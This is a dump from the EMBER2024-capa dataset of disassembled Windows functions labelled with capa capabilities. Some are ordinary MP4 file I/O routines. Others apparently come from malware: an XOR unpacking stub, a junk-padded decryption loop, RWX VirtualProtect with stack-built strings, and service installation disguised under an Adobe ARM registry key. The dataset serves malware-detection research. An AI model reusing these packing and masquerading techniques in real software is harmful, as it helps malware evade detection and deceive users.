joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d9b0
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
test edi, edi
je 0x41dbe4
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
jne 0x41da01
push 0x10
call fcn.0042f08d
add esp, 4
test eax, eax
je 0x41d9ec
push str._pBytes_
push str.assert_failure
push eax
call fcn.00410d30
add esp, 0xc
jmp 0x41d9ee
xor eax, eax
mov dword [esp + 0x14], eax
push 0x45a510
lea eax, [esp + 0x18]
push eax
call fcn.0042f0f2
cmp byte [esi + 0x70], 0
jbe 0x41da3a
call fcn.0042ce15
add eax, 0x20
push eax
call fcn.0042dccb
add esp, 4
push 0x5f
push str..mp4file_io.cpp
push str.m_numReadBits___0
push str.Warning___s__in__s_at_line__u_n
call fcn.0042ce15
add eax, 0x40
push eax
call fcn.0042d183
add esp, 0x14
mov edx, dword [esi + 0x5c]
push ebx
test edx, edx
jne 0x41db7c
mov ebx, dword [esp + 0x1c]
test ebx, ebx
jne 0x41dadf
mov eax, dword [esi + 8]
test eax, eax
jne 0x41da91
push 0x10
call fcn.0042f08d
add esp, 4
test eax, eax
je 0x41da7c
push str._m_pFile_
push str.assert_failure
push eax
call fcn.00410d30
add esp, 0xc
jmp 0x41da7e
xor eax, eax
push 0x45a510
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x20], eax
call fcn.0042f0f2
mov edx, dword [esi + 0xc]
push edi
push ebp
push eax
mov eax, dword [edx + 0xc]
call eax
add esp, 0xc
cmp eax, edi
je 0x41dbe2
push 0x10
call fcn.0042f08d
add esp, 4
test eax, eax
je 0x41daca
push str.MP4ReadBytes
push str.not_enough_bytes__reached_end_of_file
push eax
call fcn.00410d30
add esp, 0xc
jmp 0x41dacc
xor eax, eax
push 0x45a510
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x20], eax
call fcn.0042f0f2
push ebx
push edi
push 1
push ebp
call fcn.0042ca49
add esp, 0x10
cmp eax, edi
je 0x41dbe2
push ebx
call fcn.00430b7b
add esp, 4
push 0x10
test eax, eax
je 0x41db39
call fcn.0042f08d
add esp, 4
test eax, eax
je 0x41db24
push str.MP4ReadBytes
push str.not_enough_bytes__reached_end_of_file
push eax
call fcn.00410d30
add esp, 0xc
jmp 0x41db26
xor eax, eax
push 0x45a510
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], eax
call fcn.0042f0f2
call fcn.0042f08d
mov esi, eax
add esp, 4
test esi, esi
je 0x41db67
call fcn.0042efda
mov eax, dword [eax]
mov dword [esi + 4], eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], str.MP4ReadBytes
mov dword [esi], 0
jmp 0x41db69
xor esi, esi
push 0x45a510
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x20], esi
call fcn.0042f0f2
xor ebx, ebx
mov ecx, edi
add ecx, dword [esi + 0x60]
mov eax, ebx
adc eax, dword [esi + 0x64]
cmp eax, dword [esi + 0x6c]
jb 0x41dbcc
ja 0x41db94
cmp ecx, dword [esi + 0x68]
jbe 0x41dbcc
push 0x10
call fcn.0042f08d
add esp, 4
test eax, eax
je 0x41dbb7
push str.MP4ReadBytes
push str.not_enough_bytes__reached_end_of_memory
push eax
call fcn.00410d30
add esp, 0xc
jmp 0x41dbb9
xor eax, eax
push 0x45a510
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], eax
call fcn.0042f0f2
mov eax, dword [esi + 0x60]
push edi
add eax, edx
push eax
push ebp
call fcn.0042d230
add esp, 0xc
add dword [esi + 0x60], edi
adc dword [esi + 0x64], ebx
pop ebx
pop ebp
pop edi
pop esi
ret 0xc
Function at 0x41dc30
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
mov esi, ecx
mov al, byte [esi + 0x72]
xor ebx, ebx
cmp al, bl
je 0x41dc79
cmp al, 8
jae 0x41dc79
push 0x10
call fcn.0042f08d
add esp, 4
cmp eax, ebx
je 0x41dc64
push str._m_numWriteBits__0__m_numWriteBits___8_
push str.assert_failure
push eax
call fcn.00410d30
add esp, 0xc
jmp 0x41dc66
xor eax, eax
mov dword [esp + 0xc], eax
push 0x45a510
lea eax, [esp + 0x10]
push eax
call fcn.0042f0f2
mov ecx, dword [esp + 0xc]
cmp ecx, ebx
je 0x41dde5
push edi
mov edi, dword [esp + 0x14]
cmp edi, ebx
je 0x41dde4
cmp dword [esi + 0x5c], ebx
jne 0x41dd86
mov eax, dword [esp + 0x18]
cmp eax, ebx
jne 0x41dd34
mov eax, dword [esi + 8]
cmp eax, ebx
jne 0x41dce6
push 0x10
call fcn.0042f08d
add esp, 4
cmp eax, ebx
je 0x41dcd1
push str._m_pFile_
push str.assert_failure
push eax
call fcn.00410d30
add esp, 0xc
jmp 0x41dcd3
xor eax, eax
push 0x45a510
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], eax
call fcn.0042f0f2
mov edx, dword [esi + 0xc]
push edi
push ecx
push eax
mov eax, dword [edx + 0x10]
call eax
add esp, 0xc
cmp eax, edi
je 0x41dde4
push 0x10
call fcn.0042f08d
add esp, 4
cmp eax, ebx
je 0x41dd1f
push str.MP4WriteBytes
push str.error_writing_bytes_via_virtual_I_O
push eax
call fcn.00410d30
add esp, 0xc
jmp 0x41dd21
xor eax, eax
push 0x45a510
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], eax
call fcn.0042f0f2
push eax
push edi
push 1
push ecx
call fcn.0042da42
add esp, 0x10
cmp eax, edi
je 0x41dde4
push 0x10
call fcn.0042f08d
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x41dd71
call fcn.0042efda
mov edx, dword [eax]
mov dword [esi + 4], edx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], str.MP4WriteBytes
mov dword [esi], ebx
jmp 0x41dd73
xor esi, esi
push 0x45a510
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], esi
call fcn.0042f0f2
mov eax, dword [esi + 0x6c]
mov edx, dword [esi + 0x68]
push ebp
mov ebp, edi
add ebp, dword [esi + 0x60]
mov ecx, ebx
adc ecx, dword [esi + 0x64]
cmp ecx, eax
jb 0x41ddc8
ja 0x41dda1
cmp ebp, edx
jbe 0x41ddc8
push 0
add edx, edi
push 2
adc eax, ebx
push eax
push edx
call fcn.0042f5f0
mov ecx, eax
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x5c]
push ecx
push eax
mov dword [esi + 0x6c], edx
call fcn.00410e30
add esp, 8
mov dword [esi + 0x5c], eax
mov eax, dword [esi + 0x60]
mov edx, dword [esp + 0x14]
add eax, dword [esi + 0x5c]
push edi
push edx
push eax
call fcn.0042d230
add esp, 0xc
add dword [esi + 0x60], edi
pop ebp
adc dword [esi + 0x64], ebx
pop edi
pop esi
pop ebx
ret 0xc

Function at 0x42d058
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x461a10]
jne 0x42d062
repz ret
jmp fcn.004341a7
Function at 0x43ea8b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00437f45
and dword [ebp - 4], 0
cmp dword [0x4639f8], 0
mov ebx, eax
jne 0x43eb3c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43ebed
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x43ebed
push eax
call fcn.00437ed3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4639f8], eax
call esi
push eax
call fcn.00437ed3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4639fc], eax
call esi
push eax
call fcn.00437ed3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x463a00], eax
call esi
push eax
call fcn.00437ed3
pop ecx
mov dword [0x463a08], eax
test eax, eax
je 0x43eb3c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00437ed3
pop ecx
mov dword [0x463a04], eax
mov eax, dword [0x463a04]
cmp eax, ebx
je 0x43eb94
cmp dword [0x463a08], ebx
je 0x43eb94
push eax
call fcn.00437f4e
push dword [0x463a08]
mov esi, eax
call fcn.00437f4e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43eb94
test edi, edi
je 0x43eb94
call esi
test eax, eax
je 0x43eb8b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43eb8b
test byte [ebp - 0xc], 1
jne 0x43eb94
or dword [ebp + 0x10], 0x200000
jmp 0x43ebcd
mov eax, dword [0x4639fc]
cmp eax, ebx
je 0x43ebcd
push eax
call fcn.00437f4e
pop ecx
test eax, eax
je 0x43ebcd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43ebcd
mov eax, dword [0x463a00]
cmp eax, ebx
je 0x43ebcd
push eax
call fcn.00437f4e
pop ecx
test eax, eax
je 0x43ebcd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4639f8]
call fcn.00437f4e
pop ecx
test eax, eax
je 0x43ebed
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43ebef
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x407ef8
mov ecx, 0x49ad73f9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..text
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x5b897a07
nop
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40a900
Capabilities:
Enumerate gui resources
Get hostname

Disassembly:
sub esp, 0x82c
cmp dword [0x4e75e4], 0x13f7
mov eax, dword [esp + 0x830]
push ebx
mov ebx, dword [eax + 4]
push ebp
push esi
mov esi, dword [esp + 0x840]
push edi
mov edi, dword [eax]
mov eax, dword [esi]
mov ebp, 0xc6ef3720
mov dword [esp + 0x20], ebp
mov dword [esp + 0x28], eax
jne 0x40a952
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
cmp dword [0x4e75e4], 0x60b
mov ecx, dword [esi + 4]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x2c], eax
jne 0x40a9a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 0
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov dword [esp + 0x1c], 0x20
jmp 0x40a9b0
mov eax, edi
shl eax, 4
cmp dword [0x4e75e4], 5
mov dword [esp + 0x18], eax
jne 0x40a9e8
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push 0
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.0040a8b0
lea eax, [edi + ebp]
mov dword [esp + 0x14], eax
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x2c]
cmp dword [0x4e75e4], 0x1b
mov dword [esp + 0x10], eax
mov dword [0x4caa44], 0xffcf03fc
jne 0x40aa48
push 0
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
push 0x4013a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x14]
mov dword [0x4caa44], 0
xor eax, dword [esp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x4caa44], eax
sub ebx, dword [esp + 0x10]
mov esi, ebx
shl esi, 4
cmp dword [0x4e75e4], 0x78c
mov dword [esp + 0x18], ebx
jne 0x40aa93
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov eax, dword [esp + 0x18]
add eax, dword [esp + 0x20]
mov dword [esp + 0x14], eax
mov ecx, ebx
shr ecx, 5
mov dword [0x4caa48], 0xc5e121b4
mov dword [0x4caa4c], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x34]
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x28]
lea eax, [esi + edx]
xor eax, dword [esp + 0x10]
add ebp, 0x61c88647
xor eax, dword [esp + 0x14]
mov dword [esp + 0x20], ebp
sub edi, eax
sub dword [esp + 0x1c], 1
jne 0x40a9b0
mov eax, dword [esp + 0x840]
mov dword [eax], edi
pop edi
pop esi
pop ebp
mov dword [eax + 4], ebx
pop ebx
add esp, 0x82c
ret 8
Function at 0x40ab10
Capabilities:
Copy file
Manipulate console buffer
Terminate thread

Disassembly:
sub esp, 0xad4
push esi
xor esi, esi
cmp dword [0x4e75e4], 0x516
jne 0x40ab65
push esi
lea eax, [esp + 0x2dc]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameA
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor ecx, ecx
xor edx, edx
mov word [esp + 6], dx
lea eax, [esp + 8]
push eax
mov word [esp + 8], cx
mov ecx, dword [esp + 8]
push ecx
push esi
lea edx, [esp + 0x6e4]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xae0]
shr eax, 3
cmp eax, esi
jbe 0x40acac
mov ecx, dword [esp + 0xadc]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileExW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jmp 0x40aba0
cmp dword [0x4e75e4], 0x29
jne 0x40abe0
xor eax, eax
lea edx, [esp + 0x24]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
push edx
lea eax, [esp + 0x44]
push eax
push esi
mov dword [esp + 0x30], esi
call edi
push esi
push esi
push esi
push esi
push esi
push esi
call ebx
lea ecx, [esp + 0x3c]
push ecx
push 0x4013b0
call ebp
cmp dword [0x4e75e4], 0xe1b
jne 0x40ac02
lea edx, [esp + 0xf8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x4e75e4], 0x1c
jne 0x40ac5a
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
push esi
push esi
push esi
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
lea edx, [esp + 0xf8]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [esp + 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0xaf0]
mov edx, dword [esp + 0x10]
push ecx
push edx
call fcn.0040a900
cmp dword [0x4e75e4], 0x4fa
jne 0x40ac99
xor eax, eax
xor ecx, ecx
lea edx, [esp + 0x38]
push edx
mov word [esp + 0x1c], ax
mov word [esp + 0x1e], cx
mov eax, dword [esp + 0x1c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x40aba0
pop edi
pop ebp
pop ebx
pop esi
add esp, 0xad4
ret 0xc
Function at 0x40acc0
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x38
cmp dword [0x4e75e4], 0x37
jne 0x40ad89
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x4013c0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x401474
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
lea edx, [esp + 4]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [esp], 0
mov eax, dword [0x4e75e8]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x3c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x4caa40]
mov byte [ecx + eax], dl
add esp, 0x38
ret 4

Function at 0x40adf0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x45e908
mov byte [0x45e909], al
mov byte [0x45e90a], 0x72
mov byte [0x45e910], 0x2e
mov byte [0x45e911], 0x64
mov byte [0x45e912], cl
mov byte [0x45e914], 0
mov byte [0x45e90c], al
mov byte [0x45e90d], cl
mov byte [0x45e90e], 0x33
mov byte [0x45e90f], 0x32
mov byte [0x45e913], al
mov byte [0x45e90b], 0x6e
mov byte [0x45e908], 0x6b
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [0x4e75e4]
mov edx, dword [0x4caa40]
mov dword [0x4e6c7c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x45e916], 0
mov byte [0x45e90f], 0x50
mov byte [0x45e90d], 0x61
mov byte [0x45e908], 0x60
mov byte [0x45e910], 0x7c
mov byte [0x45e911], 0x6f
mov byte [0x45e915], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40c2b0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40c2cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40c2d6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40c2ed
mov ecx, dword [ebp - 4]
push ecx
call fcn.00412ef0
add esp, 4
or eax, 0xffffffff
jmp 0x40c2ef
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414b70
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45d3f4]
jne 0x414b7a
repz ret
jmp fcn.00422a20
Function at 0x402120
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x14]
call fcn.00401ba0
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00401e10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40218b
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x224], edx
lea ecx, [ebp - 0x14]
call fcn.00401c00
mov eax, dword [ebp - 0x224]
jmp 0x40221c
mov dword [ebp - 4], 0x100
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4021f1
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00402120
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4021e8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x228], edx
lea ecx, [ebp - 0x14]
call fcn.00401c00
mov eax, dword [ebp - 0x228]
jmp 0x40221c
mov dword [ebp - 4], 0x100
jmp 0x402192
lea ecx, [ebp - 0x14]
call fcn.00401d40
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x230]
call fcn.00401c80
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x14]
call fcn.00401c00
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004076b8
mov esp, ebp
pop ebp
ret 4
Function at 0x406750
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x21c], ecx
mov ecx, dword [ebp - 0x21c]
call fcn.00409a20
test eax, eax
je 0x406782
mov eax, 1
jmp 0x406827
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4067a1
xor eax, eax
jmp 0x406827
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push str.RPCSS
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
push 1
push 3
push 0x10
push 0xf01ff
mov edx, dword [ebp - 0x21c]
add edx, 0x230
push edx
mov eax, dword [ebp - 0x21c]
add eax, 0x230
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40680e
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x406827
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004076b8
mov esp, ebp
pop ebp
ret

Function at 0x406840
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
call fcn.00409a20
test eax, eax
jne 0x40685f
mov eax, 1
jmp 0x4068ea
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40687b
xor eax, eax
jmp 0x4068ea
push 0x10020
mov eax, dword [ebp - 0x2c]
add eax, 0x230
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4068aa
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x4068ea
lea eax, [ebp - 0x28]
push eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 8], 0
je 0x4068e8
mov eax, 1
jmp 0x4068ea
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4068f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], 4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREAdobeAdobe_ARM1.0ARM
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x406957
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x20]
push eax
push 4
push 0
push str.iLastSvcSuccess
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x28]
add eax, 0x230
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x40c6b0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x28]
cmp dword [ecx + 0x454], 0
je 0x4069a7
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x4069a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x28]
mov dword [eax + 0x454], 0
mov ecx, dword [ebp - 0x28]
cmp dword [ecx + 0x454], 0
jne 0x4069bb
mov ecx, dword [ebp - 0x28]
call fcn.0040a990
mov esp, ebp
pop ebp
ret

Function at 0x4076b8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412018]
jne 0x4076c2
repz ret
jmp fcn.00407c4a

Function at 0x4081f0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x430], ax
push 0x208
push 0
lea ecx, [ebp - 0x42e]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x218], dx
push 0x208
push 0
lea eax, [ebp - 0x216]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x438], 0
push 0x105
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x434]
push ecx
push 0x105
lea edx, [ebp - 0x430]
push edx
push 0x40d928
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x4082b6
push 0xa
push 0x104
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x434]
push ecx
call dword [sym.imp.MSVCR90.dll__itow_s]
add esp, 0x10
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x10
jge 0x4082d8
push str.thsnYaViMRAeBoda
push 0x104
mov eax, dword [ebp + 8]
push eax
call fcn.004063f0
cmp dword [ebp + 0xc], 0
je 0x4082f0
mov ecx, dword [ebp + 0xc]
push ecx
push 0x104
mov edx, dword [ebp + 8]
push edx
call fcn.004063f0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004076b8
mov esp, ebp
pop ebp
ret